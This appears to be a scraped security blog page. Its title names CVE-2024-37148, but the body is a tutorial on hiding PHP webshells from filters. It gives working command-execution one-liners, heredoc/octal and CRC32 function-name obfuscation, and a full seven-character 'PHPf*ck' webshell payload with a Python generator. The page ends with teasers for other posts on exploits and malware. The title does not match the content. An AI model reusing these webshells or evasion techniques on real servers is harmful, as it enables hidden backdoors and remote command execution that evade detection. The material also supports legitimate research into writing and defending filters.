Exploiting CVE-2024-37148
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_
. The latter is commonly used while extracting data submitted by the user, through the variables $_GET
or $_POST
. I presented the following five techniques, retrieving POST’ed argument, being a bash command to be executed by system
.
The latter could also be dynamically retrieved thanks to a variable function
//technique 1
echo system(filter_input(0, 'A'));
//technique 2
echo system(${"_"."POST"}["B"]);
//technique 3
echo system(file_get_contents("php://input"));
//technique 4
echo system(get_defined_vars()[array_keys(get_defined_vars())[1]]["C"]);
//technique 5
$x = '_'.'POST';
echo system($$x['D']);
However, my favourite webshell is something like $_GET['a']($_GET['b'])
because it makes it possible to call any function that takes a single argument (string, array or null). However, as stated in the documentation:
Variable functions won’t work with language constructs such as echo, print, unset(), isset(), empty(), include, require and the like
and for some others, they cannot be dynamically called:
var_dump("get_def"."ined_vars"()); //okay
var_dump(("get_defin"."ed_vars")()); //also okay
$x="get_defined_vars"; var_dump($x()); //not okay
var_dump(($x="get_defined_vars")()); //also not okay
NOTE: eval
cannot be used as variable function, since it is a language construct and not a true function
However, PHP is really (REALLY) permissive, and it’s quite easy to call most of the functions while hiding their name. Let’s discuss four techniques with their own peculiarities, executing something like:
$_GET['a']($_GET['b']);
This first technique gets rid of quotes and letters, but using heredocs strings.
As the doc says:
A third way to delimit strings is the heredoc syntax: «<. After this operator, an identifier is provided, then a newline. The string itself follows, and then the same identifier again to close the quotation.
Heredocs makes it possible to create multiline strings, such as:
$var = <<<_
Hello world
_;
In this case, the identifier is a simple underscore symbol. Note that the new lines after the first marker and before the second one are not part of the string. It means that echo "*$var/";
would print *Hello world/
.
Compared to nowdocs, heredocs are like double-quoted strings, which means that it interprets escaping sequences and performs string interpolation. Therefore, the following snippet of code would set the variable $x
equal to the character 'a'
, written here is octal:
$x = <<<_
\141
_;
Variable functions can therefore be created:
$filter_input = <<<_
\146\151\154\164\145\162\137\151\156\160\165\164
_;
and therefore, calling filter_input(0, 'a')(filter_input(0, 'b'))
would be done as follows:
(<<<_
\146\151\154\164\145\162\137\151\156\160\165\164
_)(0, <<<_
\141
_)((<<<_
\146\151\154\164\145\162\137\151\156\160\165\164
_)(0, <<<_
\142
_));
NOTE: enclosing heredoc strings between parentheses seems to be mandatory, a syntax error would be raised otherwise.
Since heredoc strings perform string interpolation, the symbols can be resolved within the string:
$x = <<<_
{${$_POST[0]($_POST[1])}}
_;
Or:
$x = <<<_
{${${chr(95).chr(80).chr(79).chr(83).chr(84)}[0](${chr(95).chr(80).chr(79).chr(83).chr(84)}[1])}}
_;
This is an extension of the fourth technique using get_defined_vars
and array_keys
, by chaining them in order to dynamically resolve the function name and its argument. Let’s first print the result of get_defined_vars()
(no other variables declared):
Array
(
[_GET] => Array
(
)
[_POST] => Array
(
[a] => system
[b] => id
)
[_COOKIE] => Array
(
)
[_FILES] => Array
(
)
)
The routine array_keys
can be used to retrieve the first level of this 2D-array:
Array
(
[0] => _GET
[1] => _POST
[2] => _COOKIE
[3] => _FILES
)
To execute the expected payload, one should have something like:
$post_key = array_keys(get_defined_vars())[1]; //get 2nd key
$post_data = get_defined_vars()[$post_key]; //['a' => 'system', 'b' => 'id']
$post_data_keys = array_keys($post_data); // ['a', 'b']
$system = $post_data[$post_data_keys[0]]; //['a' => 'system', 'b' => 'id'][['a','b'][0]] = 'system'
$id = $post_data[$post_data_keys[1]]; //same at index 1
$system($id);
Let’s replace all local variables with function calls:
get_defined_vars()[array_keys(get_defined_vars())[1]][array_keys(get_defined_vars()[array_keys(get_defined_vars())[1]])[0]](get_defined_vars()[array_keys(get_defined_vars())[1]][array_keys(get_defined_vars()[array_keys(get_defined_vars())[1]])[1]]);
system
The routine get_defined_vars
is handy, but it has a drawback: it cannot be used as a variable function, making it more difficult to hide. This third technique resolves function names without hardcoding them nor passing them as argument, and uses functions that do not suffer from the same restriction. The idea is quite simple: the list of defined functions is filtered with array_filter
and a submitted criterion. The matching name is dynamically called, while forwarding the second POST’ed argument.
To begin with, the list of existing routines can be obtained as follows (snipped for brevity):
Array
(
[internal] => Array
(
[0] => zend_version
[1] => func_num_args
[2] => func_get_arg
...
)
[user] => Array
(
)
)
The first element of this two-dimensional array (labelled as internal) contains the list of existing functions (i.e. not user-defined). A first approach could be to locate the index of system
and hardcode its key, but the latter could change, depending on the PHP configuration (loaded modules, disabled functions, etc.), making this approach quite unstable. To make it more configuration-independent, this array could be filtered with a lambda function and the routine array_filter;
Iterates over each value in the array passing them to the callback function. If the callback function returns true, the current value from array is returned into the result array.
Array keys are preserved, and may result in gaps if the array was indexed. The result array can be reindexed using the array_values() function.
To isolate the expected routine, we chose to filter on the CRC32 value (collisions may exist, though):
var_dump(array_filter(reset(get_defined_functions()), fn($x) => crc32($x) == $_POST[chr(0x61)]));
The reset
function is used here because get_defined_functions
returns a 2D array, and we are interested only by get_defined_functions()["internal"]
(the first element). Each element is then passed to crc32
, which appends to its return value all the matching items. If no collision exists, it should contain a single element. Sending a=3377271179 in the POST’ed body would return system
:
array(1) {
[683]=>
string(6) "system"
}
The result is a named array, hence reset
can be used once again to keep only system
name:
$sys = reset(array_filter(reset(get_defined_functions()), fn($x) => crc32($x) == $_POST[chr(0x61)]));
One can now call the routine dynamically, passing the 2nd POST’ed argument:
reset(array_filter(reset(get_defined_functions()), fn($x) => crc32($x) == $_POST[chr(0x61)]))($_POST[chr(0x62)]);
NOTE: this technique can obviously be combined to others in order to hide the $_POST.
Ever heard about BrainF*ck ? This esoteric programming language made only of the symbols ><+-.,[]
is more like a joke than a usable language. Alternatives have been created, such as the infamous JSF*ck, made only of six characters (()+[]!
). A PHPf*ck was also created, using only seven symbols ([+.^])
, but the latter is not compatible with PHP 8 (and later). An alternative exists for PHP 8, but it uses Foreign Function Interface, that is not always installed. Moreover, PHP8 makes it harder to execute code from string, since eval
cannot be called as a variable function, assert
does not evaluate any more the passed argument, preg_replace
’s /e
flag is deprecated, and create_function
too.
I’m also aware that a version only uses 5 characters (mystiz.hk/posts/2021/2021-08-10-uiuctf-phpfuck/), but I wanted to do it without letters nor numbers. Still, their technique is really clever.
However, the goal here was not to eval
uate something arbitrary, but to execute $_GET['A']($_GET['r'])
(you will understand why ‘A’ and ‘r’, and not ‘a’ and ‘b’). I therefore had to find a way to call the routine filter_input_array
to extract submitted data:
filter_input_array(int $type, array|int $options = FILTER_DEFAULT, bool $add_empty = true): array|false|null
This function is useful for retrieving many values without repetitively calling filter_input().
Fortunately, this routine only takes one argument, saving me the need to use the comma symbol. This first argument is supposed to be an integer:
INPUT_POST
;INPUT_GET
;INPUT_COOKIE
;INPUT_ENV
;INPUT_SERVER
.Therefore, the not-so-obfuscated code should be as follows:
filter_input_array(0)["A"](filter_input_array(0)["r"]);
The principle for JSF*ck or PHPf*ck is to build arbitrary strings to dynamically call variable functions, without using any letter or number. To do so, some primitives are obtained, and from this limited charset, other characters are computed. The primitive values are as follows:
[] : can be translated to 'Array' if concatenated
![] : true / 1
!![] : false / empty string (similar to 0)
![]^![]: 0 / false
The difference between the two last elements is that the 3rd one is similar to false
and an empty string, while the 4th one could also be represented as the string '0'
From these primitives, we can extract a charset. For instance, we can obtain the 'A'
by extracting the first letter of the string 'Array'
. However, the array must first be concatenated to 1
or another array to be considered as a string:
$x = ([].![]); // 'Array1'
$y = !![]; //false
$A = $x[$y]; // 'Array1'[0]
Therefore, the letter 'A'
can be obtained with ([].![])[!![]]
. Similarly, the letter 'r'
can be obtained by doing the same at index 1: ([].![])[![]]
.
Since !![]
and ![]
are boolean/integers, being allowed to use the '+'
symbol would significantly ease the process. The number 2 could be obtained with ![]+![]
, 3 with ![]+![]+![]
and so on. Only numbers from 0 to 9 are sufficient to build any number, because it is possible to concatenate digits and turn them into numbers:
$a = (![].[])[!![]]; //'1', because it's '1Array'[0]
$b = ((![]^![]).[])[!![]]; // '0', because it's '0Array'[0]
$c = (![]^![])+(((![].[])[!![]]).(((![]^![]).[])[!![]])); // int(10)
//because it's the same as:
$c = (0 + '1'.'0');
Since the expression “adds” an integer and a string, the result is considered as a number with an implicit cast from string to integer. Another interesting thing is that an index expressed as a string would also be turned into an integer if such a value is expected and if possible. For instance:
echo "abcd"["X"]; // fails
echo "abcd"["2"]; // prints 'c'
echo "abcd"[2]; // also prints 'c'
This is also possible with the XOR operation without the ‘+’ symbol, but it would restrict the available numbers to those only made of 0 and 1: 10, 11, 100, etc.
However, we decided to not use the '+'
symbol since it would be too easy, and to use only the numbers 0 and 1. To extract the letters 'a'
and 'y'
from 'Array'
, we therefore used a trick to extract the 11th character (index 10) of the string '11ArrayArray'
:
print_r((![].![].[].[])[![].(![]^![])]); // 'a'
//because it's the same as te following lines
print_r(('1'.'1'.'Array'.'Array')[(1).(1^1)]);
print_r(('11ArrayArray')[(1).(0)]);
print_r(('11ArrayArray')['1'.'0']);
print_r(('11ArrayArray')[10]);
Regarding the 'y'
, the principle is the same, but with a ![]
less at the beginning: (![].[].[])[![].(![]^![])]
.
So far, the charset is as follows:
'A': 1000001: ([].![])[!![]]
'r': 1110010: ([].![])[![]]
'a': 1100001: (![].![].[].[])[![].(![]^![])]
'y': 1111001: (![].[].[])[![].(![]^![])]
'1': 0110001: ![].[][!![]]
'0': 0110000: (![]^![]).[][!![]]
PHP also allows different types to be XORed against each other:
print_r(1 ^ 2); // 3
print_r(1 ^ '2'); // 3
print_r(1 ^ 'A'); // fails, because 'A' cannot be cast
print_r('1' ^ 'A'); // p, because ASCII codes are XOR'ed
By doing magic with the available characters in the set, it is possible to obtain other letters:
'q': 1110001: '0' XOR 'A': (![]^![]).[][!![]] ^ ([].![])[!![]]
'B': 1000010: '0' XOR 'r': (![]^![]).[][!![]] ^ ([].![])[![]]
'Q': 1010001: '0' XOR 'a': (![]^![]).[][!![]] ^ (![].![].[].[])[![].(![]^![])]
'I': 1001001: '0' XOR 'y': (![]^![]).[][!![]] ^ (![].[].[])[![].(![]^![])]
'p': 1110000: '1' XOR 'A': ![].[][!![]] ^ ([].![])[!![]]
'C': 1000011: '1' XOR 'r': ![].[][!![]] ^ ([].![])[![]]
'P': 1010000: '1' XOR 'a': ![].[][!![]] ^ (![].![].[].[])[![].(![]^![])]
'H': 1001000: '1' XOR 'y': ![].[][!![]] ^ (![].[].[])[![].(![]^![])]
The charset we have now is still too small to be able to obtain any character. We can realise that by taking a look at the binary codes of the obtained characters. None of them has its 5th bit set, which means that the XOR operation between them will always leave it cleared. Although it is possible to obtain more characters by XORing more than two operands, the 5th bit is annoying.
Finding a suitable character having this bit set was quite challenging. A first idea way to obtain it through the value INF
:
var_dump(![]+((![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![])).[]);
//output: string(8) "INFArray"
This string starts with ![]
to first consider the value as a number. Then, 309 (![])
are appended to build the number 11…1, translated into the value float(INF)
(having only 308 times this pattern would give float(1.1111111111111112E+308)
). Once this INF
is obtained, it is concatenated with []
to turn it back into a string: 'INFArray'
. Accessing the second letter ('N'
) would be useful since its ASCII code is 78 = 0b1001110
.
However, this payload seemed a bit too big (it is only to get an intermediary variable in order to obtain a single character …), hence we decided to look for another approach.
The legend says that THE ANSWER is in the digits of Pi, and indeed, that was my way to go. Indeed, the letters ‘P’ and ‘i’ both belong to the extended charset, making us able to call pi()
. The pi
routine returns the number 3.1415926535898
. Casting this value as a string would make us able to extract the dot ('.'
) at index 1.
print_r(((((![].[][!![]]^(![].![].[].[])[![].(![]^![])]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]); // '.'
//because it is the same as:
print_r(('pI'().'Array')[1]);
print_r('3.1415926535898Array'[1]);
Another technique would extract the '4'
instead. This character is at index 3, and we could access it by calling (pi().[])[pi()]
. The float value would be treated as an integer while acting as an index, indeed returning (pi().'Array')[3] = '3.1415926535898Array'[3] = '4'
Once this value is obtained, the other digits can be computed, and translated as follows:
'0': 0110000 (![]^![]).[][!![]]
'1': 0110001 ![].[][!![]]
'2': 0110010 ([].![])[!![]]^([].![])[![]]^(![]^![]).[][!![]]^![].[][!![]]
'3': 0110011 ([].![])[!![]]^([].![])[![]]
'4': 0110100 ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]
'5': 0110101 ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]
'6': 0110110 (![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]
'7': 0110111 (![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]
'8': 0111000 ([].![])[!![]]^(![].[].[])[![].(![]^![])]
'9': 0111001 ([].![])[!![]]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]
As stated earlier, the final payload should do something like:
filter_input_array(0)["A"](filter_input_array(0)["r"]);
//same as
filter_input_array(!![])["A"](filter_input_array(!![])["r"]);
//same as
filter_input_array(!![])[([].![])[!![]]](filter_input_array(!![])[([].![])[![]]]);
Since the strings 'A'
and 'r'
are part of the restricted charset, it is easier to use them as POST arguments. Last step is then to rebuild filter_input_array
. The missing characters are:
f: '4'^'r': ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]
i: '0'^'y': (![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]
l: '5'^'y': ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]
t: '5'^'a': ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]
e: '7'^'r': (![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]
_: 'r'^'5'^'y'^'a': ([].![])[![]]^([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]^(![].![].[].[])[![].(![]^![])]
n: '7'^'y': (![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]
p: '1'^'a': ![].[][!![]]^(![].![].[].[])[![].(![]^![])]
u: '4'^'a': ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]
Note that the final 'array'
in the function name can only be replaced by []
, since PHP does not care about the case, and writing fIlTer_iNpuT_Array
should be perfectly fine (same as "filter_input_".[]
). Each letter is put between parentheses, and the final payload is as follows:
((([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).((![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]).(([].![])[![]]).( ([].![])[![]]^([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]^(![].![].[].[])[![].(![]^![])]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]).((![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]).(![].[][!![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[![]]^([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]^(![].![].[].[])[![].(![]^![])]).[])(!![])[([].![])[!![]]](((([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).((![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]).(([].![])[![]]).( ([].![])[![]]^([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]^(![].![].[].[])[![].(![]^![])]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]).((![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]).(![].[][!![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[![]]^([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]^(![].![].[].[])[![].(![]^![])]).[])(!![])[([].![])[![]]])
Only 7 characters (:
To ease the process of symbols generation, the following python script has been created:
import itertools
x = [ord(_) for _ in ['A', 'r', 'a', 'y', '0', '1', '.']]
dico = {}
for lim in range(2, 4):
for iter in itertools.combinations(x, lim):
xored = reduce(lambda i, j: i ^ j, iter)
if xored not in dico:
dico[xored] = "^".join([chr(_) for _ in iter])
if xored not in x:
x.append(xored)
print(dico)
After the first round, all symbols in 0-255 are expressed as XOR operations, and some manipulations still need to be done to keep only primitives.
These techniques are not all completely new. They can be combined to evade filters depending on the needs, but the more complex they are, the easier it is to spot them during a manual analysis. Possibilities are endless, and since PHP is a malleable language, we only scratched the surface.
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
Intro After being tasked with auditing GLPI 10.0.12, for which I uncovered two unknown vulnerabilities (CVE-2024-27930 and CVE-2024-27937), I became really i...
Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...
I was recently tasked with auditing the application GLPI, a few days after its latest release (10.0.12 at the time of writing). The latter stands for Gestion...
I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...
A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...
A few thoughts about PHP webshells …
I remember this carpet, at the entrance of the Computer Science faculty, with this message There’s no place like 127.0.0.1/8. A joke that would create two ca...
TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...
It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...
The reader should first take a look at the articles related to CVE-2023-3032 and CVE-2023-3033 that I published a few days ago to get more context.
This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...
Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...
King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...
Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...
I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...
PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...
A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...
In the previous article, I described how I wrote a simple polymorphic program. “Polymorphic” means that the program (the binary) changes its appearance every...
The malware presented in this blog post appeared on Google Play in 2016. I heard about it thanks to this article published on checkpoint.com. The malicious a...
Ransomwares are really interesting malwares because of their very specific purpose. Indeed, a ransomware will not necessarily try to be stealth or persistent...
A few days ago, I found this article about a malware targeting Sberbank, a big Russian bank. The app disguises itself as a web application, stealing in backg...
RuMMS is a malware targetting Russian users, distributed via websites as a file named mms.apk [1]. This article is inspired by this analysis made by FireEye ...
Could a 5-classes Android app be so harmful ? dsencrypt says “yes”…
~$ cat How_an_Android_app_could_escalate_its_privileges_Part4.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part3.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part2.txt
~$ cat How_an_Android_app_could_escalate_its_privileges.txt
Even if the thesis introduces the extensions internals, and analyses the difference between mobile and desktop browsers in terms of likelihood, efficiency an...